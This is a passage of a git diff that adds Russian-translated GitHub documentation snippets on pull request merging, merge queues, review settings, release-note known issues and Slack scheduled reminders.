are added to the base branch in a merge commit. The pull request is merged using [the `--no-ff` option](https://git-scm.com/docs/git-merge#_fast_forward_merge). + +To merge pull requests, you must have [write permissions](/articles/repository-permission-levels-for-an-organization/) in the repository. + +![standard-merge-commit-diagram](/assets/images/help/pull_requests/standard-merge-commit-diagram.png) diff --git a/translations/ru-RU/data/reusables/pull_requests/dismiss_review.md b/translations/ru-RU/data/reusables/pull_requests/dismiss_review.md new file mode 100644 index 000000000000..3b51b391daa3 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/dismiss_review.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3c66ad9812762429b6d22d2399df36cf68da1fb1 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145118603" +--- +Если запрос на вытягивание изменился с момента проверки, и пользователь, который запросил изменения, недоступен для утверждения проверки, администраторы репозитория или пользователи с доступом на запись могут закрыть проверку. diff --git a/translations/ru-RU/data/reusables/pull_requests/issues-media-types.md b/translations/ru-RU/data/reusables/pull_requests/issues-media-types.md new file mode 100644 index 000000000000..c8403cea57eb --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/issues-media-types.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 0e58e5904bbff65341fbe4221fa03ea96e032c42 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092821" +--- +### Пользовательские типы мультимедиа + +Этот интерфейс API поддерживает следующие типы мультимедиа: + + application/vnd.github.VERSION.raw+json + application/vnd.github.VERSION.text+json + application/vnd.github.VERSION.html+json + application/vnd.github.VERSION.full+json + +Дополнительные сведения о типах мультимедиа см. в разделе [Пользовательские типы мультимедиа](/rest/overview/media-types). diff --git a/translations/ru-RU/data/reusables/pull_requests/issues-pr-shared-api.md b/translations/ru-RU/data/reusables/pull_requests/issues-pr-shared-api.md new file mode 100644 index 000000000000..1ffc9b6424e5 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/issues-pr-shared-api.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 78bea8e115f68c64106496a8953418acb70f04af +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878739" +--- +Каждый запрос на вытягивание является проблемой, но не каждая проблема является запросом на вытягивание. По этой причине "общие" для них действия, такие как управление уполномоченными, метками и вехами, предоставляются в API проблем. diff --git a/translations/ru-RU/data/reusables/pull_requests/large-search-workaround.md b/translations/ru-RU/data/reusables/pull_requests/large-search-workaround.md new file mode 100644 index 000000000000..993ad4b74a30 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/large-search-workaround.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 49ee5fd318b31dd1af150ae052c313a71f427cf9 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878738" +--- +Если у вас есть доступ к запросам на вытягивание более чем в 10 000 репозиториях, для просмотра результатов вам потребуется ограничить поиск определенной организацией, личной учетной записью или репозиторием. diff --git a/translations/ru-RU/data/reusables/pull_requests/mark-ready-review.md b/translations/ru-RU/data/reusables/pull_requests/mark-ready-review.md new file mode 100644 index 000000000000..8c516ecb87ea --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/mark-ready-review.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6aa7979671f18000b58f29bf509a37d85f612ac6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118587" +--- +Когда вы будете готовы получить отзыв о запросе на вытягивание, вы можете пометить черновик запроса на вытягивание как «Готовый к проверке». При пометке запроса на вытягивание как «Готового к проверке» будет запрашиваться проверка всеми владельцами кода. diff --git a/translations/ru-RU/data/reusables/pull_requests/merge-queue-beta.md b/translations/ru-RU/data/reusables/pull_requests/merge-queue-beta.md new file mode 100644 index 000000000000..620e34121a50 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/merge-queue-beta.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 85db1024fd3a47bebaf0a6fef56843c8be2509a9 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148008726" +--- +{% ifversion fpt or ghec %} {% note %} + +**Примечание.** Функция очереди объединения запросов на вытягивание в настоящее время доступна в ограниченной общедоступной бета-версии и может быть изменена. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/pull_requests/merge-queue-merging-method.md b/translations/ru-RU/data/reusables/pull_requests/merge-queue-merging-method.md new file mode 100644 index 000000000000..0567120ab287 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/merge-queue-merging-method.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 212b7ec4b98962469e781e3ea9962d32486021c0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062381" +--- +{% data variables.product.product_name %} объединяет запрос на вытягивание в соответствии со стратегией объединения, настроенной в системе защиты ветви после прохождения всех необходимых проверок CI. + +![Способ объединения очередей объединения](/assets/images/help/pull_requests/merge-queue-merging-method.png) diff --git a/translations/ru-RU/data/reusables/pull_requests/merge-queue-overview.md b/translations/ru-RU/data/reusables/pull_requests/merge-queue-overview.md new file mode 100644 index 000000000000..003b8239123f --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/merge-queue-overview.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 9960ade469b1d52c0f880067e4dd449082b190c6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092814" +--- +Очередь объединения может увеличить скорость объединения запросов на вытягивание в занятую целевую ветвь, гарантируя успешное прохождение всех необходимых проверок защиты ветви. + +После того как запрос на вытягивание прошел все необходимые проверки защиты ветви, пользователь с доступом на запись в репозиторий может добавить этот запрос на вытягивание в очередь объединения. + +Очередь объединения может использовать {% data variables.product.prodname_actions %}. Дополнительные сведения см. в разделе [{% data variables.product.prodname_actions %}](/actions/). diff --git a/translations/ru-RU/data/reusables/pull_requests/merge-queue-references.md b/translations/ru-RU/data/reusables/pull_requests/merge-queue-references.md new file mode 100644 index 000000000000..96594c00088a --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/merge-queue-references.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2807a1fe0d2c6efd7d779b0f900317e839ca2c0f +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884707" +--- + +Сведения об очереди объединения см. в разделе [Управление очередью объединения](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue). diff --git a/translations/ru-RU/data/reusables/pull_requests/merge-queue-reject.md b/translations/ru-RU/data/reusables/pull_requests/merge-queue-reject.md new file mode 100644 index 000000000000..c61a67b453d4 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/merge-queue-reject.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0eec914324e0088750f264f0df02c707574b2f2e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092813" +--- + +После группировки запроса на вытягивание с последней версией целевой ветви и изменениями перед ней в очереди, то если не произошли ошибки проверки состояния или конфликты с базовой ветвью, {% data variables.product.product_name %} удалит запрос на вытягивание из очереди. На временной шкале запроса на вытягивание отобразится причина удаления запроса на вытягивание из очереди. diff --git a/translations/ru-RU/data/reusables/pull_requests/perms-to-open-pull-request.md b/translations/ru-RU/data/reusables/pull_requests/perms-to-open-pull-request.md new file mode 100644 index 000000000000..64b53ecff9ee --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/perms-to-open-pull-request.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: b36f385f08632181d3a4cc7150e655683bc016f1 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147887161" +--- +{% ifversion fpt or ghec %} + +{% note %} + +**Примечание.** Чтобы открыть запрос на вытягивание в общедоступном репозитории, необходимо иметь доступ на запись в головную или исходную ветвь или (для репозиториев, принадлежащих организации) необходимо быть участником организации, которая владеет репозиторием, чтобы открыть запрос на вытягивание. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/pull_requests/pull_request_merges_and_contributions.md b/translations/ru-RU/data/reusables/pull_requests/pull_request_merges_and_contributions.md new file mode 100644 index 000000000000..e15709253978 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/pull_request_merges_and_contributions.md @@ -0,0 +1,7 @@ +{% note %} + +**Notes:**{% ifversion ghes or ghae %} +- To appear on your profile contributions graph, co-authored commits must meet the same criteria as commits with one author.{% endif %} +- When rebasing commits, the original authors of the commit and the person who rebased the commits, whether on the command line or on {% data variables.location.product_location %}, receive contribution credit. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/pull_requests/re-request-review.md b/translations/ru-RU/data/reusables/pull_requests/re-request-review.md new file mode 100644 index 000000000000..5776451f772f --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/re-request-review.md @@ -0,0 +1,2 @@ +You can re-request a review, for example, after you've made substantial changes to your pull request. +To request a fresh review from a reviewer, in the sidebar of the **Conversation** tab, click the {% octicon "sync" aria-label="The sync icon" %} icon. diff --git a/translations/ru-RU/data/reusables/pull_requests/rebase_and_merge_summary.md b/translations/ru-RU/data/reusables/pull_requests/rebase_and_merge_summary.md new file mode 100644 index 000000000000..93a7e1e17f76 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/rebase_and_merge_summary.md @@ -0,0 +1,7 @@ +When you select the **Rebase and merge** option on a pull request on {% data variables.location.product_location %}, all commits from the topic branch (or head branch) are added onto the base branch individually without a merge commit. In that way, the rebase and merge behavior resembles a [fast-forward merge](https://git-scm.com/docs/git-merge#_fast_forward_merge) by maintaining a linear project history. However, rebasing achieves this by re-writing the commit history on the base branch with new commits. + +The rebase and merge behavior on {% data variables.product.product_name %} deviates slightly from `git rebase`. Rebase and merge on {% data variables.product.prodname_dotcom %} will always update the committer information and create new commit SHAs, whereas `git rebase` outside of {% data variables.product.prodname_dotcom %} does not change the committer information when the rebase happens on top of an ancestor commit. For more information about `git rebase`, see [git-rebase](https://git-scm.com/docs/git-rebase) in the Git documentation. + +To rebase and merge pull requests, you must have [write permissions](/articles/repository-permission-levels-for-an-organization/) in the repository, and the repository must [allow rebase merging](/articles/configuring-commit-rebasing-for-pull-requests/). + +For a visual representation of `git rebase`, see [The "Git Branching - Rebasing" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Branching-Rebasing). diff --git a/translations/ru-RU/data/reusables/pull_requests/rebase_and_merge_verification.md b/translations/ru-RU/data/reusables/pull_requests/rebase_and_merge_verification.md new file mode 100644 index 000000000000..ec839bbff5dc --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/rebase_and_merge_verification.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 038896fa537c7cc3ea3fa95e903900a9eb8f3db7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145917064" +--- +При использовании варианта **Перемещение и слияние** для запроса на вытягивание важно помнить, что фиксации в головной ветви добавляются в базовую ветвь без проверки подписи фиксации. При использовании этого варианта {% data variables.product.prodname_dotcom %} создает измененную фиксацию, используя данные и содержимое исходной фиксации. Это означает, что {% data variables.product.prodname_dotcom %} не создает новую фиксацию и не может подписать ее как обычный пользователь системы. {% data variables.product.prodname_dotcom %} не имеет доступа к закрытым ключам для подписывания этой фиксации, поэтому не может подписать фиксацию от имени пользователя. + +Чтобы обойти это ограничение, следует переместить изменения из одной ветви в другую и объединить их локально, а затем отправить изменения в базовую ветвь запроса на вытягивание. diff --git a/translations/ru-RU/data/reusables/pull_requests/required-checks-must-pass-to-merge.md b/translations/ru-RU/data/reusables/pull_requests/required-checks-must-pass-to-merge.md new file mode 100644 index 000000000000..d50b11d0e3a0 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/required-checks-must-pass-to-merge.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c7f04cfa5c2b0eab8c990f595c1247fe72217ce5 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878322" +--- +Если для репозитория требуются проверки состояния, перед объединением ветви в защищенную ветвь необходимо пройти проверку состояния. Дополнительные сведения см. в разделе [Сведения о защищенных ветвях](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-status-checks-before-merging). diff --git a/translations/ru-RU/data/reusables/pull_requests/required-reviews-for-prs-summary.md b/translations/ru-RU/data/reusables/pull_requests/required-reviews-for-prs-summary.md new file mode 100644 index 000000000000..979f4d138e30 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/required-reviews-for-prs-summary.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0a4745a59266ba23a3ccc0ea892356a6cb503f17 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878970" +--- +Администраторы репозитория могут требовать, чтобы для всех запросов на вытягивание выполнялось определенное количество проверок с утверждением, прежде чем кто-то объединит запрос на вытягивание в защищенную ветвь. Вы можете требовать утверждения проверок от пользователей с разрешениями на запись в репозиторий или от назначенного владельца кода. diff --git a/translations/ru-RU/data/reusables/pull_requests/resolving-conversations.md b/translations/ru-RU/data/reusables/pull_requests/resolving-conversations.md new file mode 100644 index 000000000000..f8962ad21a03 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/resolving-conversations.md @@ -0,0 +1,21 @@ +### Resolving conversations + +You can resolve a conversation in a pull request if you opened the pull request or if you have write access to the repository where the pull request was opened. + +To indicate that a conversation on the **Files changed** tab is complete, click **Resolve conversation**. + +![Pull request conversation with Resolve conversation button](/assets/images/help/pull_requests/conversation-with-resolve-button.png) + +The entire conversation will be collapsed and marked as resolved, making it easier to find conversations that still need to be addressed. + +![Resolved conversation](/assets/images/help/pull_requests/resolved-conversation.png) + +If the suggestion in a comment is out of your pull request's scope, you can open a new issue that tracks the feedback and links back to the original comment. For more information, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." + +#### Discovering and navigating conversations + +You can discover and navigate to all the conversations in your pull request using the **Conversations** menu that's shown at the top of the **Files Changed** tab. + +From this view, you can see which conversations are unresolved, resolved, and outdated. This makes it easy to discover and resolve conversations. + +![Showing the conversations menu](/assets/images/help/pull_requests/conversations-menu.png) diff --git a/translations/ru-RU/data/reusables/pull_requests/retargeted-on-branch-deletion.md b/translations/ru-RU/data/reusables/pull_requests/retargeted-on-branch-deletion.md new file mode 100644 index 000000000000..491e26e55bc5 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/retargeted-on-branch-deletion.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c006e6c46461dc27643f39f4750489d513734010 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882998" +--- +При удалении головной ветви после объединения запроса на вытягивание {% data variables.product.prodname_dotcom %} проверяет наличие открытых запросов на вытягивание в том же репозитории, где удаленная ветвь указана в качестве базовой ветви. {% data variables.product.prodname_dotcom %} автоматически обновляет все такие запросы на вытягивание, заменяя базовую ветвь на объединенную базовую ветвь запроса на вытягивание. diff --git a/translations/ru-RU/data/reusables/pull_requests/retention-checks-data.md b/translations/ru-RU/data/reusables/pull_requests/retention-checks-data.md new file mode 100644 index 000000000000..e48487ff48f0 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/retention-checks-data.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f95dd69778640ad4be04e0bfdab340d351845c38 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147066013" +--- +Проверяет, что данные старше 400 дней архивируются. В процессе архивации {% data variables.product.prodname_dotcom %} создает состояние фиксации свертки, которое представляет состояние всех проверок для этой фиксации. Как следствие, поле слияния в любом запросе на вытягивание с обязательными проверками архивации будет находиться в заблокированном состоянии, и перед слиянием такого запроса на вытягивание придется повторно запустить эти проверки. diff --git a/translations/ru-RU/data/reusables/pull_requests/squash_and_merge_summary.md b/translations/ru-RU/data/reusables/pull_requests/squash_and_merge_summary.md new file mode 100644 index 000000000000..b0f3fc47ccf6 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/squash_and_merge_summary.md @@ -0,0 +1,7 @@ +When you select the **Squash and merge** option on a pull request on {% data variables.location.product_location %}, the pull request's commits are squashed into a single commit. Instead of seeing all of a contributor's individual commits from a topic branch, the commits are combined into one commit and merged into the default branch. Pull requests with squashed commits are merged using the [fast-forward option](https://git-scm.com/docs/git-merge#_fast_forward_merge). + +To squash and merge pull requests, you must have [write permissions](/articles/repository-permission-levels-for-an-organization/) in the repository, and the repository must [allow squash merging](/articles/configuring-commit-squashing-for-pull-requests/). + +![commit-squashing-diagram](/assets/images/help/pull_requests/commit-squashing-diagram.png) + +You can use squash and merge to create a more streamlined Git history in your repository. Work-in-progress commits are helpful when working on a feature branch, but they aren’t necessarily important to retain in the Git history. If you squash these commits into one commit while merging to the default branch, you can retain the original changes with a clear Git history. diff --git a/translations/ru-RU/data/reusables/pull_requests/you-can-auto-merge.md b/translations/ru-RU/data/reusables/pull_requests/you-can-auto-merge.md new file mode 100644 index 000000000000..e4ece37e9a92 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/you-can-auto-merge.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b85a35f46d4164378f110269da2b5515caa963ef +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092785" +--- +Вы можете настроить запрос на вытягивание для автоматического объединения при соблюдении всех требований к объединению. Дополнительные сведения см. в разделе [Автоматическое объединение запроса на вытягивание](/github/collaborating-with-issues-and-pull-requests/automatically-merging-a-pull-request). diff --git a/translations/ru-RU/data/reusables/release-notes/2022-09-hotpatch-issue.md b/translations/ru-RU/data/reusables/release-notes/2022-09-hotpatch-issue.md new file mode 100644 index 000000000000..ed64a97c4325 --- /dev/null +++ b/translations/ru-RU/data/reusables/release-notes/2022-09-hotpatch-issue.md @@ -0,0 +1,7 @@ +Hotpatch upgrades to GitHub Enterprise Server {% ifversion ghes = 3.4 %}3.4.9{% elsif ghes = 3.5 %}3.5.6{% elsif ghes = 3.6 %}3.6.2{% endif %} may fail. Upgrades with the full `.pkg` are unaffected. If the upgrade fails for your instance, workaround this issue by connecting to the administrative shell (ssh) and running the following non-interactive command: + +``` +echo "grub-pc grub-pc/install_devices_empty boolean true" | sudo debconf-set-selections +``` + +If you're unable to upgrade, or if you need further assistance, contact GitHub Support. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)." [Updated: 2022-10-14] diff --git a/translations/ru-RU/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md b/translations/ru-RU/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md new file mode 100644 index 000000000000..04d9906902d9 --- /dev/null +++ b/translations/ru-RU/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md @@ -0,0 +1,16 @@ +{% ifversion ghes < 3.5 %} + +In some cases, GitHub Advanced Security customers who upgrade to GitHub Enterprise Server 3.5 or later may notice that alerts from secret scanning are missing in the web UI and REST API. To ensure the alerts remain visible, do not skip 3.4 when you upgrade from an earlier release to 3.5 or later. A fix is available in the [3.5.5](/enterprise-server@3.5/admin/release-notes#3.5.5) and [3.6.1](/enterprise-server@3.6/admin/release-notes#3.6.1) patch releases. + +To plan an upgrade through 3.4, see the [Upgrade assistant](https://support.github.com/enterprise/server-upgrade). [Updated: 2022-09-01] + +{% elsif ghes = 3.5 or ghes = 3.6 %} + +In some cases, GitHub Advanced Security customers who upgrade to GitHub Enterprise Server {{ allVersions[currentVersion].currentRelease }} may notice that alerts from secret scanning are missing in the web UI and REST API. To ensure the alerts remain visible, do not skip 3.4 as you upgrade to the latest release. To plan an upgrade through 3.4, see the [Upgrade assistant](https://support.github.com/enterprise/server-upgrade). + +- To display the missing alerts for all repositories owned by an organization, organization owners can navigate to the organization's **Code security and analysis** settings, then click **Enable all** for secret scanning. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-existing-repositories)." +- To display the missing alerts for an individual repository, people with admin access to the repository can disable then enable secret scanning for the repository. For more information, see "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)." + +A fix is available in the {% ifversion ghes = 3.5 %}[3.5.5](/admin/release-notes#3.5.5){% elsif ghes = 3.6 %}[3.6.1](/admin/release-notes#3.6.1){% endif %} patch release. [Updated: 2022-09-01] + +{% endif %} diff --git a/translations/ru-RU/data/reusables/releases/previous-release-tag.md b/translations/ru-RU/data/reusables/releases/previous-release-tag.md new file mode 100644 index 000000000000..2e5bdb24bfb4 --- /dev/null +++ b/translations/ru-RU/data/reusables/releases/previous-release-tag.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 6c1028b5317c516b820ce129ea8f60534ad309af +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147062645" +--- +{% ifversion previous-release-tag %} +1. При желании вы можете щелкнуть раскрывающееся меню **Предыдущий тег** выше и правее текстового поля описания и выбрать тег, определяющий предыдущий выпуск. + ![Снимок экрана: выбор тега для идентификации предыдущего выпуска](/assets/images/help/releases/releases-tag-previous-release.png) {% endif %} diff --git a/translations/ru-RU/data/reusables/reminders/about-scheduled-reminders-teams-orgs.md b/translations/ru-RU/data/reusables/reminders/about-scheduled-reminders-teams-orgs.md new file mode 100644 index 000000000000..d26a041afbfe --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/about-scheduled-reminders-teams-orgs.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4d03029cacb202db6b95c5b6c30489b826b906d0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145118523" +--- +Запланированные напоминания помогают командам сосредоточиться на наиболее важных запросах на проверку, которые требуют их внимания. Запланированные напоминания о запросах на вытягивание в заданное время отправят вашей команде в Slack сообщение, которое содержит все открытые запросы на вытягивание, которые вам или вашей команде было предложено просмотреть. Например, можно создать запланированное напоминание для отправки по средам в 9:00 сообщения в основной коммуникационный канал вашей команды в Slack, в котором будут перечислены все открытые запросы на вытягивание, которые команда запрашивает для проверки. diff --git a/translations/ru-RU/data/reusables/reminders/add-reminder.md b/translations/ru-RU/data/reusables/reminders/add-reminder.md new file mode 100644 index 000000000000..f0a85a1c8c3f --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/add-reminder.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 087c7aa8b788971ea169686a1208e34f7a653a0d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092782" +--- +1. В разделе «Запланированные напоминания» нажмите кнопку **Добавить первое напоминание**. +![Кнопка «Добавить напоминание»](/assets/images/help/settings/scheduled-reminders-add-button.png) diff --git a/translations/ru-RU/data/reusables/reminders/approved-prs.md b/translations/ru-RU/data/reusables/reminders/approved-prs.md new file mode 100644 index 000000000000..64c8df0ab236 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/approved-prs.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 310988c2adb88f8af825a010c90244fd32238245 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118520" +--- +1. Чтобы отключить запланированные напоминания о запросах на вытягивание, которые уже проверены и утверждены, при необходимости выберите **Игнорировать утвержденные запросы на вытягивание**. Затем щелкните **Пропустить с 1 или несколькими утверждениями**, чтобы выбрать, сколько утверждений необходимо пропустить. +![Флажок «Игнорировать утвержденные запросы на вытягивание»](/assets/images/help/settings/scheduled-reminders-ignore-approved-prs.png) diff --git a/translations/ru-RU/data/reusables/reminders/author-reviews.md b/translations/ru-RU/data/reusables/reminders/author-reviews.md new file mode 100644 index 000000000000..daff9d085bab --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/author-reviews.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 7d445b4b27a92972683fa098e5d28ca5e713dd88 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092781" +--- +1. Чтобы отправить напоминания авторам запросов на вытягивание после выполнения запросов на проверку, при необходимости выберите **Напоминать авторам после проверок** и выберите количество проверок, необходимых перед отправкой напоминания. +![Флажок «Напоминать авторам после проверок»](/assets/images/help/settings/scheduled-reminders-remind-authors.png) diff --git a/translations/ru-RU/data/reusables/reminders/authorize-slack.md b/translations/ru-RU/data/reusables/reminders/authorize-slack.md new file mode 100644 index 000000000000..f5413ce9c8ef --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/authorize-slack.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 18e8f021ab88bde33fc5ba8191b5b83d6da53ab7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118507" +--- +1. В разделе «Рабочая область Slack» щелкните **Авторизовать рабочую область Slack** и следуйте инструкциям. +![Кнопка «Авторизовать рабочую область Slack»](/assets/images/help/settings/scheduled-reminders-authorize-slack.png) diff --git a/translations/ru-RU/data/reusables/reminders/create-reminder.md b/translations/ru-RU/data/reusables/reminders/create-reminder.md new file mode 100644 index 000000000000..17bfeca90e2e --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/create-reminder.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 00403cbcf836f30107fedf6fefb8c1d9b8cae429 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092778" +--- +1. Нажмите кнопку **Создать напоминание**. diff --git a/translations/ru-RU/data/reusables/reminders/days-dropdown.md b/translations/ru-RU/data/reusables/reminders/days-dropdown.md new file mode 100644 index 000000000000..bc53cde5b14a --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/days-dropdown.md @@ -0,0 +1,2 @@ +1. Under "Days", click **Weekdays** {% octicon "triangle-down" aria-label="The down triangle icon" %} to select one or more days you'd like to receive scheduled reminders. +![Days dropdown](/assets/images/help/settings/scheduled-reminders-days.png) diff --git a/translations/ru-RU/data/reusables/reminders/delete.md b/translations/ru-RU/data/reusables/reminders/delete.md new file mode 100644 index 000000000000..cf323736ac95 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/delete.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: bb7dbd30a8d608dbdc2454fa43e9bd19a92fff47 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092777" +--- +1. В нижней части страницы нажмите кнопку **Удалить это напоминание**. +![Удаление кнопки запланированного напоминания](/assets/images/help/settings/scheduled-reminders-delete.png) +1. Чтобы подтвердить удаление запланированного напоминания, нажмите кнопку **ОК**. diff --git 